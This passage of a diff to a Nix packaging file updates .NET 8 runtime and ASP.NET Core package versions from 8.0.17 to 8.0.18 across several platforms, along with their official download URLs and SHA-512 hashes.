+        hash = "sha512-f9+1sbW1c9OFYLmtq+b2NuviSCVCEOCvFfVVJFEQ9kVg4aKVNwwnSqGHL39P8Y9Bo2j0lzCg9G46PXz8xeqrdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-tGoCDChhmw1PPPpWNYfo7tjJBy4NIRkgkCuSXPBUiLNcKmkeMAhA2N2MUvVKxhoayCL1K49clw2CDFG1YSDC4A==";
+        version = "8.0.18";
+        hash = "sha512-R3ycWivxbGaOXJOrWFgdDhvancCf3xcj3c2x71LHxzAwemQ2g42fmPQdnSfJrW5mlJLkZPkr3Fcy8z1pAVHO7g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-jSQpm6cwP9IbEc9/v2esVv2NJ7O21CklPxOjHSWvM6VcwH3/vAEy21wX+JOM3G4euTWCKxMxOTAU5bXL9fpV+g==";
+        version = "8.0.18";
+        hash = "sha512-nwpET4yJfVfBLZPPZTwXykwsGFmBIQeu2WhsnKSy51UMMua9RH7wdaThMhY9dHHyMeRniqji8wJElv6ykiuwPA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-ejOqr8hAO2d1Sxxkn9d+xiVLCeQ4fkBOyTEsgliMkFnrJaxFxdV+Q1I7RtoYWJH/DoseqVW5vn5CAgGnY7yPiQ==";
+        version = "8.0.18";
+        hash = "sha512-NaT6sx3MV6BjcrbbqPrUSv0sbLCOTvc+qVlQzHjdplFVbm5kfcWRa61uNeUztrzQy10IdAerP5Rt5oU9S7Xm0A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-twUxbIlZzPNoJx/nxQlx98TiW1JV6NnpHqvgQhGE3VloeEE5AiPUg+UVpKa42id/K3GEzOpQ8CGAnB+phyOhwg==";
+        version = "8.0.18";
+        hash = "sha512-RD0S5aqsIpkOcsADZhG6TODKt104AyCh2gMzhXOwby8iMOQT+rj/PbZQP2fz7fOfuvcOe2VSSX/zoYQUfOqpzA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-o/P+ZRj6LjjGJdaazlvz/ysRQumAUbrfOmXLQz17RExXc6Ikk7yQ3l7EJAuWO7U9LwlU5ubXs6uVqtKyv7vnHg==";
+        version = "8.0.18";
+        hash = "sha512-fDJDwEJojp8D6mNMy9HCH3dytuXssFGa9eMFXf1j9zDkLKTdAIoHO9hzgkFNBxdZII61TEt01PrYVbEk6U0AJQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-sNM9LGQom9BS5lEV9VQt3dTweI6q+2fgdfnjAaqmMCM2un4aKT8vNK3oegOEPhigBQp5GB7Z7+CgVBhYiLiEhQ==";
+        version = "8.0.18";
+        hash = "sha512-C8u1lKK0f/pL325CR27DQXXOtCIc3p+6yctd/GbaJY+G1vJvVBWknKlBmGBTzJaO0GlNxWKBG4b+Hb+WyRQPMQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-NvQn4WyGdNXAVaUYu30XY/XQqTWe65HGMDKNAxVsYbNUiNecXjE3ZhkiRyLa9HU4l+6n3ouNNzYHg1Z9MPukpQ==";
+        version = "8.0.18";
+        hash = "sha512-L0ukahE5lLisbMxyoxWCQBpKY117P1oFQgoZ1hQQtch9C57V+aE2NVZWlw3CS9qZbgXNQM1V82KufKeQZuDr0w==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-lsYscCD0qR6XsXqJrM4evxEB4qNSu5QEvH1mb6JK8iQN05kW05CYP9IfBBVzQR3+iik45gnwjUFrokNnl9LMig==";
+        version = "8.0.18";
+        hash = "sha512-v6qCvouvUtfA0DE4RNA3PrzogS4ONteXRY1fwGOSsLkl+KxPgqVdthRe3+gR2Lfvm9gTCotQ45apZtN40/lT/w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-A3RrznTiIIpaE04b1cNY6Bx3pEmAqa9ig9xwoUuAlH/brYtOuvo3JoehwVgpfZm7dzMblRPuvu1J9SVagyNEdw==";
+        version = "8.0.18";
+        hash = "sha512-m/4V22FwHydLgj8uxm6N+ppVNg9Kg7RoRkjwYoJjn0KtIPNUMCIRzIuu4none/69xsnin4f8b04WmWeFVwSyEw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-pvPS0TivFj3n6V+v0ivlhOc1HvkZnQBnnH6y9TZCw/nkkKjuTJpjS+x5xWHy4yLgdB64hfCpfc6g5578ib3OGg==";
+        version = "8.0.18";
+        hash = "sha512-GQEbT3ZAZ1U7e0D6ITED9vCmWJFrV0cmS4+SIahtgXi0TZCZJzEwYoykqOPo6RoAOnXhfCeuvkjc228TguaFTg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-X0Mt5TbPJlG6LzwHP/98DB+TqCwF5toyO40QLZiaWBWH8gdkXxZsnqSwHBixe7jEDB9knpUQs3nWvG1wf9YOCA==";
+        version = "8.0.18";
+        hash = "sha512-J/yYUDTa8pO11iHli+ABrIGtmy76Ku8I1zGslng16xgtlxZfX1bbemPDh4/2oV85h88ls0MAWfCb+kpcdsDCfQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-LtMIjhBaZld9EX8YChaTicl79vEo9ci+H+16xqWm6ksvYyx0vbameWRWXQ3i4KgUm/klwYkzGeKVzzll53itgw==";
+        version = "8.0.18";
+        hash = "sha512-dnpvnbwteEY5YMS5usz2NJsvhvYI9qjKGrGHDQ1uoYZg6N32k9kEPS1aSRyeDtlGkbb8Mn9k+fCseXnVOyAsNA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-qxknZ2pQrvLXxASaCeyy5Ox9rb27jzwh4DAu+I4pQRl7qSfBVmqLtoAtZ6tSBj6crAt8/5q7mW16Av2RejDk3g==";
+        version = "8.0.18";
+        hash = "sha512-gzBgLBbh8ZNmUtFiHa8I2fOOBkl1WiOC2iq8bYX/eVAd2n4h3wOxNG4+3tt1Ra1f58JbYASBG/sXqdMBliMI3A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-qWhils4j4HijPnFQHpmeOUudYMbX7BrYZedABWp3Ddsf5xoTLPSzUTssPFgrX5zhuI0eC+ACXQDCc3RRe16PZQ==";
+        version = "8.0.18";
+        hash = "sha512-Ddoy/MJj1S0xT09GAbrZnwSEUI7gQRcEOil3XaYA9pWnp8OXAi/of7GGZbbbD2HWGUtsSHmfmiRlRoXPhcFOEQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-b2jQNPpO8zaXgyvO6uG6ABXWO1qRYJvSiZWMXlxzAX2FCOR2AqfNiMbuJOscaqRyo1A5EZl/mKhNWbjvZ+Ie8g==";
+        version = "8.0.18";
+        hash = "sha512-ZWRx5vfKRPpQEzwJpaQ6MZQ7JW9y7Jj2MvjKfLmmwATzG7z4PHhmM9QsNygmSrqsF24hJVjdDhxGs6vEcPXA9Q==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "8.0.17";
-        hash = "sha512-Gn4GGWnOSo9W/5GfgqwWEyZ1AwV6JVc4DBcq+IbPTZviND+0j5ZUJsF2xzPcgEYre8XYFR+tf4KqV2S+t9DRCw==";
+        version = "8.0.18";
+        hash = "sha512-E6fXd/FU8IHuPlyuv0cfvr+8q7QJe0uF6u5lxU2EsCd3Z6qKxXS97w0U9o7OdriEGBC6oiwyzVq25oLQDvrbog==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "8.0.17";
-        hash = "sha512-9ef3DABF5Em5tOne761hyzBpUrOnWuucfONtUsxUWq2pZiGpk9AoaAOJxf766qdQWL1SQ0sJYRGhpJ7YfKX8Og==";
+        version = "8.0.18";
+        hash = "sha512-dA97YbdoMd1HlkZ6LISmioAJHhG9QlzGtVfaAYwLHvMFDvlulS3DXMmSR+fRrP3h+A9sNR5nflpkIJ4khotAbA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "8.0.17";
-        hash = "sha512-E+7CArIcwuTmkSfCdZneueDRZy3pT77DDZXvwuIDTyojOrdGVlj4hzpqSzmqmTnr5Cg8uT34XxnYOH1cAQiljg==";
+        version = "8.0.18";
+        hash = "sha512-KWXB2BApvTlT4Osl1KrDTA6pVUdc7cYbWcLEA+MrcQzwq1az0aLtp7cBVvTHGae7Zq18CvxBrMTQcyXTY2RHEA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-X3/73Flriad7tsa6o4GXXG0JMz5M1gaJQ5wXatZk90P2Eg3uDLOnqb6upr0x2495gDI4aLPPmDRvaArZoA3w+w==";
+        version = "8.0.18";
+        hash = "sha512-3eBkAXIr+RBbCEMZJGU0S6Owg2XFaDC6fpNENWG+0wBrw7lpLNqTUUtcTY7xA1IHLD4p0ffYc14QauObnL+mzg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-1/aUPzhPQ/bKVm5NoP4dNfc9B/C3eqRu+gv6bLroPxiS1JjHKL/iG4aPeFP/Gr0zt546bKd56Ac9t0S+ZpgjeA==";
+        version = "8.0.18";
+        hash = "sha512-NQrl3gWAuxIvq6Me5taCyOrGSjldQg4WGcmXiS4qnh/js+GvpG77XUNltfzWy7EamgCjjYIi3S6fHsxntxsMXw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-u+V7Vazc9T1yrKkAtGgCaVrm7777F//PpYlXlKi8LCEMmzsjgTqXDv+96blOjqNfFFG5nDH7Wrfy/EuNxbggEQ==";
+        version = "8.0.18";
+        hash = "sha512-KVwSnqrat6U8XT/aWXBwUlQB5uwJTwGV6TX0P3BPfMb01B99QvX0wuw/Rf57WSrjvlT5oG9gBFClBt2jIh3s/w==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-it7TtIOtYcV5XwMQKpIsD1mKrqUimH4VK7uJct4sCZGjxfgrhf07l/yI91A11WVJubQHK5cq7KeCirqGoEtAsg==";
+        version = "8.0.18";
+        hash = "sha512-ziuMoQo2E6qi8vRnire+pGCVES3HCxEVSE0ExXHeHdf20rQzO6Xv40Dm+bfDNvMzJLU9WDRDJ8OgULiB9XYn/g==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "8.0.17";
-        hash = "sha512-hCDJrREXgVISf2dXVj9+0NGUYr/Hk6HH0pE75ubOaQO42n7gH1EyuhF7fgMKVCjhnYblRML6WKuVDIbkJoUbtg==";
+        version = "8.0.18";
+        hash = "sha512-0E2hSPVKTdkeBHMpeRHYV45C1Vm5UppTb/YX6OV3y7sB7U9tTHRu6soC50Hnxv7013Umzle8g1dqFWzGFa/5PQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "8.0.17";
-        hash = "sha512-FqJc/4qewgmg/1yamy4kyTvTntC1e+qN92mN1co8BT163ZkWV9RtGgvgb/yD+0th3/nOEb+xcu7EVNNxzTJZLA==";
+        version = "8.0.18";
+        hash = "sha512-tLz7EUFrCQq0obc2bVv7Qm0OLQYA9gAM9NUEGx3N1wtQ6+0yQg+Sy7UIa0LWCj28JBw7QU7yH3JaUWfVVtzwTg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "8.0.17";
-        hash = "sha512-0j8M6HzQLzZPvWl0TM0VlsWVtMGrKNrLPgmOcu8vXz4QoMq4A2y2md3cmdpX5PatjcEwKRib3pg0iGVyrefDgw==";
+        version = "8.0.18";
+        hash = "sha512-Txko4ZcsHAiOF+o4uYuUWjkP42/abwYmhRPh5h0k7WiwpQ5InU6vuqvub0aBj9Tbgc7ULOZXYxwhqSsyT80x8g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-yQVr2/oC7L2zGbX4zG7z0cclJb1YALFciH3U8zc/eS0Ta4CmAXREmeTT2JaqY7U9hAEz8f8TzzX+JtB6W7PADw==";
+        version = "8.0.18";
+        hash = "sha512-5IMZXp65TGVCv5cWzE+sa4DjOZ7lxDb3/ojumL7dqtZTKXBXxDKKEXWXQXkndJduTbTWLxEOJ3qNZK9oZRkLEA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-vVJFuE0gTSWBpZr3Qx6EitWtvIXW5BMyorvOSmOV14laSaGuhrddbz1OtbQ2qTOw2++z2AoIIRzKNiyDZ54jLA==";
+        version = "8.0.18";
+        hash = "sha512-OQa/DFd2MfWgVP6ffNY8LPptJUgd5cIa85WWF5vvzQu3N7b6ZHodf0FugfXrzr/OE1tNVXc2MgNE6gYu+cuVTQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-piZCbDE18Ca9OjU365hOClMWArbcXmj5Qk7oXE/4pXY2Mrdoo9R6IKQo9QT5rZ7qOO25W2X49fC2NCpt9WR1Cg==";
+        version = "8.0.18";
+        hash = "sha512-ymW//M4dvkpsR2olamF7EDdXA8ssjIQGKDopMVM9SU4piAiFKzrk58OcJzMU5+r0R10ClZWg7UR5BCYVe9apDw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-e77ZoQafeMCWXiQ4pqeWAS969lzHjTO/Nl0ISpmItUBXdSkrOaThpWew4hp2AuS98U3wv7yAb2snPOOBkRRuwQ==";
+        version = "8.0.18";
+        hash = "sha512-dGZg9b54bEc3VTiYB/2kQvSjEIs/Q9zAhbRqI453gl/O1alVglJ8c4Ui6LFTVwrGgcZO5PLGvXHa4m6NrOeu2A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64";
-        version = "8.0.17";
-        hash = "sha512-gw2FwvqE1xSNnFdCQ1PE1AZjdjmwi8Qo3trC+xfnfHy89/ljYXbkoyeIQR7irDllbJwlmI4gAKbwHFXYLO7I9Q==";
+        version = "8.0.18";
+        hash = "sha512-+rw1VG6eVUjppOeH/9JPaNwtjm/nEAZFrRTWjcNkvWalG7yeTuhNeyuc77WYvc4I87yJBOvLB/dI2/QYNDIssA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "8.0.17";
-        hash = "sha512-4+mkaFTIo0hySyHps1L8jaeHS7otI51G3J2Jwy9hYY2tGlYCRmYJm75KjMCgFjaijuAuv90xRME5bxSw3JIzRQ==";
+        version = "8.0.18";
+        hash = "sha512-iE4MEnboqeUM4A/hd0jAvTGO50j+gziJqszz9PUhF4f3VgsUH80H78MEhYU34BsF3gBuKMMW3luywrPws9vCeA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "8.0.17";
-        hash = "sha512-V5rRhz0of2jLYzhsNtABdw1ZhRjN9EcDeFzX4baN9eWrgR6IIt+pq5SCpPMm+qQJLH1IZDoS6ZwmcBVTs3aGWw==";
+        version = "8.0.18";
+        hash = "sha512-FT0tpzuEiQxsi5zyNILgW9rcmoI+KzvFtzEHtxha7X+WYTuVTOHD+itYUT1gpEgECHgPonkD9FUSjNfWPLEvPA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "8.0.17";
-        hash = "sha512-DVkgTu0W/491HH++XjvPJh+tbGjHS/NAqEyyFNZtcepvskdQG3tiazPvBrKAhe5HfO6xCY65TykNy4znepkXyA==";
+        version = "8.0.18";
+        hash = "sha512-lRBru61Iknwa479ALoKT5S2ra5F/LbFrp4i7BZFwBltB5NAA1AVF7rTxlWaAyZ0wpypr8EsyCWepUnzg62ewlw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-IN34IGuBDaTS0V10Ny52Fw+Fit4+onsnfceySIYoNH5p60jEMGbyXXMIQrhqvw4eIlaIKOTNwSo7cmvAcz7N9Q==";
+        version = "8.0.18";
+        hash = "sha512-ypgDsw9Edi/5pooVknF1KuQztaFe0vxAXoGqPeyqSJyzgjEy+VDsiFOwQ3jVAo708H52Bde3ep31mGFmKPwl6Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-izNgoKUSHtsl4N2J1L0WjaclTj1myk43zFIKie+y/+0uYDJ2QQL+pL9c1pOpHs/FKXDySLt8b3jtj1mOgcHEvA==";
+        version = "8.0.18";
+        hash = "sha512-ZbjYmXt0IS5AfsxnsZ6tLT5mgV17N3ooOKXzVluwuEnQhxioH/6Qo6Dd6ou6bQiUvALia/lyXDOX0PwrzFgz6g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-0FgjD+98nDYlSqXqP1Emka7T7LfpvSrYz1ag/fBBpVqZmmekpV1BM1rXQKDB6ruSkmmkMn41UD4MrvXykzYmZA==";
+        version = "8.0.18";
+        hash = "sha512-AhPxu82INmXyVO2hlWUpfiZbREsnHzTZrGfpyOU155loE9YgOuP9WEB4SgRLMtgpj/1ltBnUkIYedpM6jT9wjQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-gCqz7CcfeAP87TsYVTc58vmINB8CY4KSG/pLiWycqrIZHmsdgw6olcCe/xbcm2N1mSMaD9pfMMkAI9nHDn36RQ==";
+        version = "8.0.18";
+        hash = "sha512-c+yHxGyXN312TLyqPLiCE2LuRl2HeZ3Z37b2drwKgy6WEbuzKR4/hhsa26ABQqb05HRe0OKYcE6inS0qyNRoBw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86";
-        version = "8.0.17";
-        hash = "sha512-YEx7Me3MPRkXTNcIJ6ROh6lxN0f9V3zc21Gna0UzlImMYtL74qdCSnpV3ztLGuDMKJZYYQmCbpVb5kmxxSMIGw==";
+        version = "8.0.18";
+        hash = "sha512-nNz4TK0BsQA75HnRAfhoaelmRE96RmzD1Hk6ysRXEuAWm/cLQOHaY9Urrlb+cKw/4m5AR8OplEwlYhAKRQnXDw==";
       })
     ];
   };
 
 in
 rec {
-  release_8_0 = "8.0.17";
+  release_8_0 = "8.0.18";
 
   aspnetcore_8_0 = buildAspNetCore {
-    version = "8.0.17";
+    version = "8.0.18";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-arm.tar.gz";
-        hash = "sha512-EwhWW7qG+JHlwU/iKVzJ57jgxygwyPqy1qDVkd6WZ9jEV4RaUPZvBdMhik0rHdQ7CK44ENhnLFpaN4n0bssY1Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-arm.tar.gz";
+        hash = "sha512-HCLFwQNsUTYWZa/7cVTiSK7uvDYegM8C0uSrJ/e+jhn7TKHmn0OiuWGtx72QBW9vtWrrbrUHqHpBv7plPT8A8g==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-arm64.tar.gz";
-        hash = "sha512-TxpEHkALYPgUoWHScYwlmbTUkv/+XfWl2KSUzsVTrTV0wJiOncSav4ySi56Xg6hvVQbLy98S0k5WIJCWms7TxQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-arm64.tar.gz";
+        hash = "sha512-mXzjYYBQP71N2G7UO1M/YYvh23zxcPUA0NEviZrf8i5bdxSUKqJRPuzmwSIkdhwUP7yR1ul9g8zK7YqBHrzYNQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-x64.tar.gz";
-        hash = "sha512-spLepS9wA1u3zMgsHtkI+whHU+sI9mLHuy6SBuIvOWqmEdtlc+gn1cXP8hWQgQtm6uDq2bU0vD+PxpX2X0fyjw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-x64.tar.gz";
+        hash = "sha512-iW6cq3w+pThMF05+LP+uPH+PntXW0rdDS1orDcPwK2Ef+GaPXXDAs1ampdhaKP5AdWzzVrFo0DBjcNoRZGtLIw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-arm.tar.gz";
-        hash = "sha512-DEsWquOo/z751KXI3qM7mw/rS2x2dFhB7Npyhj7BZvGm1VnhArdELf/B/yLIpVzn7jrXsV8MdWJRVruTGP6UWQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-arm.tar.gz";
+        hash = "sha512-yneAoDyatUgLn5KqnkkUgsrxnhiMO28lXlVRiSM6cZdOWNl+lJs7nSExrxaHAvF/WSkFRdoNk4Wy26xBDfdzTg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-arm64.tar.gz";
-        hash = "sha512-6eyDEAZZUCxhFJn5JL/EdMLmSRtRjtaXOZGcCXp5m+57Sk3SPtsfDnho+86RmOSx0WVF7FFEpVuYIMFmWw3Phw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-arm64.tar.gz";
+        hash = "sha512-5qVB3jfi9HUAMABd5HW+7T45RPFfzYeKIUFvC5Un/OoUJKEhRWTqltm5S90zfgsAm38NMXBBBtLLiiMHNJUWZg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-x64.tar.gz";
-        hash = "sha512-o1QPicloU1OO4RQUWsmZHyIr6JFbgDlBkYFP2qvvOrwjXWBXmfo3WWLAkJrwOz0L8ax2A0LFZhQNkU9/cGaSvg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-musl-x64.tar.gz";
+        hash = "sha512-ZwfiXAuiV0K2j915SJftmKl9PPDEf/Milh8eP66L6YMiDpMLK8l065DGdJ0SzHYWbyq+Ry4LxEkhOK0RlN3TMg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-osx-arm64.tar.gz";
-        hash = "sha512-eBdKcYFy/lGNAEo8H+/L7HMe32jip3dMb6lRIwgRUvLJUe/mxhStnB+RWJfAl43GD+ecn5tuw+KKHpBQ94U2fg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-osx-arm64.tar.gz";
+        hash = "sha512-T8pecG6i7B8GIt3a8SB3axtvL4XaxP8lyeUgPXWevE05Gk8Zc8EWYHhQJZzWPM4LtlRMuldSvZYq7BX3cQlhww==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-osx-x64.tar.gz";
-        hash = "sha512-P1koY2bq198GFJUHuMHHkE5hSg+U2P8SjRrAS55LL6owje62extXbEA5HNWSaTYXuwVIoUQft8VeF6dFb3nHnQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-osx-x64.tar.gz";
+        hash = "sha512-xSIM7l7VpquZ24ec3HaxTRORBBNBwbIgRXCCBVDgwRkqo7/g4pU4OmkvZmbYXoYsZuWfF0fTynBOfhp/0Qx7RA==";
       };
     };
   };
 
   runtime_8_0 = buildNetRuntime {
-    version = "8.0.17";
+    version = "8.0.18";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-arm.tar.gz";
-        hash = "sha512-u2G7Xl3rf7wDDAh/2mA738EqgzP7QK6752Df1cSkmkoSsqYDqhzhb2ZgZNb5OuwS/hb3E240tPXheX4Yc5hPXA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-arm.tar.gz";
+        hash = "sha512-kMxr02jsGrcl6egU6ZjDeByl32figzNFwFLtFxBiA7oeiM8CBqx8M/gT0D8xZFQEAtvLi+DTa9j77847LfBNTw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-arm64.tar.gz";
-        hash = "sha512-5C+8g7+C7kIvF/Hrcu5/T+9sGQSPrqEGBYcVwXX7iKqT+K+02dHfaC0Lz05n8aH0xpz7QtXTxm3YYoqO/ctBEA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-arm64.tar.gz";
+        hash = "sha512-fZagkKLlbzk/wyOF2hRRU12/Tk2Y7cGSsa5uoNCX5megWYKMfyN1+sa8J1+Nsdg/XNJipx/vbCgkHKriIpuqPw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-x64.tar.gz";
-        hash = "sha512-1XM4i9ZN6xLmRk/GpCQPbtfNHGsXNwCWMEuKwtgAMYw682+BhaO3gK/lKwQYJN7vnTd6lqa67XWcgoOCkFRkmg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-x64.tar.gz";
+        hash = "sha512-FddUoByTGD6pi9YI8mkRk8hvKE7H/t38gQ+tkZ4ve6INQeHeRXifwdmsn82L6C1Jy4/kxHHeyJL5EnL+ouU/CA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-arm.tar.gz";
-        hash = "sha512-MHewWpOmltw0lw1ibcafCOFzw1S72XmZFATXmJnEHr8/upiE1CqPhS5IHuhdjKhesq764x+OSusvdpHVHp3z7w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-arm.tar.gz";
+        hash = "sha512-HFrhWlR+KZEHHzjmn/xwbpP5PCQbvLGJGBV6QttSjV5aHz7eAenPDRcbHzJcvebdN0fELGsLpFvFX5AqlwWkfQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-arm64.tar.gz";
-        hash = "sha512-gH6LRXbnGWJAY0nzJQaltKvXKR1L98lR5euA/KzPd8w/G1f+TnEQ0LcWlVTg6JBcSYi7dBfwMJvey8rcquy9Zg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.18/dotnet-runtime-8.0.18-linux-musl-arm64.tar.gz";
+        hash = "sha512-PK/rE2xt8uRfad+mQUZgE/Uacw8VQ1SQGwVVJsRNvVHX4AFyaVHRUkU4cGZk56pu9eRRU43bqDF5icIpvoxIWA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-x64.tar.gz";
-        hash = "sha512-6prPLtAa/fUdiQiXboZjXXBOFSSdet5LNrLcifBO247YK0DgUxXOz1/cDpKd006VgPcDeSEprSxc4koDsKYkbg==";
